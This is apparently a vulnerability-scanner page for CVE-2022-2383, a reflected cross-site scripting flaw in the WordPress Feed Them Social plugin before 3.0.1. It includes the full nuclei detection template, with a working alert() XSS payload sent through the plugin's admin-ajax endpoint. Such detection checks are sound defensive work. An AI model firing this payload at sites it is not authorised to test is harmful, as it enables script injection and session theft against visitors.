CVE-2022-2383· slickremix / feed them social· CWE-79
WordPress Feed Them Social <3.0.1 - Cross-Site Scripting
mediumseverity
6.1CVSS score
5.9%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
WordPress Feed Them Social plugin before 3.0.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the page.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Update to the latest version of the Feed Them Social plugin (3.0.1 or higher) to mitigate the XSS vulnerability.
How to confirm it
Send: GET /wp-content/plugins/feed-them-social/readme.txt
Positive when: contains "Feed Them Social" and "Tags:"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E
Positive when: contains "<img src onerror=alert(document.domain)><br/>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-2383 -u <target>
The full check
id: CVE-2022-2383
info:
name: WordPress Feed Them Social <3.0.1 - Cross-Site Scripting
author: akincibor
severity: medium
description: |
WordPress Feed Them Social plugin before 3.0.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of the Feed Them Social plugin (3.0.1 or higher) to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/4a3b3023-e740-411c-a77c-6477b80d7531
- https://wordpress.org/plugins/feed-them-social/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2383
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2383
cwe-id: CWE-79
epss-score: 0.05865
epss-percentile: 0.93263
cpe: cpe:2.3:a:slickremix:feed_them_social:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: slickremix
product: "feed_them_social"
framework: wordpress
tags: cve,cve2022,wp,wordpress,wp-plugin,wpscan,xss,slickremix,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Feed Them Social'
- 'Tags:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(document.domain)><br/>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/4a3b3023-e740-411c-a77c-6477b80d7531
- https://wordpress.org/plugins/feed-them-social/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2383
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from